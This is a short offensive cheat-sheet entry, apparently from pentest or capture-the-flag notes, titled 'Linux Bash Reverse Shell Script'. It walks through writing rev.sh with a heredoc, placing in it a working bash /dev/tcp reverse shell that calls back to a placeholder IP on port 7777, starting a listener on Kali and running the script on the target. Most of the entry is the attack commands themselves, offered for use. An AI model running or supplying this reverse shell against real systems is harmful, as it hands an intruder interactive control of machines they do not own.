Linux Bash Reverse Shell Script
exploitationlinuxtool
Summary
Write a small bash reverse-shell script that calls back to a listener, then execute it on the target.
Walkthrough
Drop a one-line bash reverse-shell into a script and run it to call back to your listener.
Steps
- Use a heredoc to write
rev.shcontaining a/dev/tcpbash reverse shell pointed at<IP>:7777. - Start a listener on Kali, then run
bash rev.shon the target to receive the connection.
Commands
bash
cat <<EOF > rev.sh #!/bin/bash bash -i >& /dev/tcp/<IP>/7777 0>&1 EOF
bash
bash rev.sh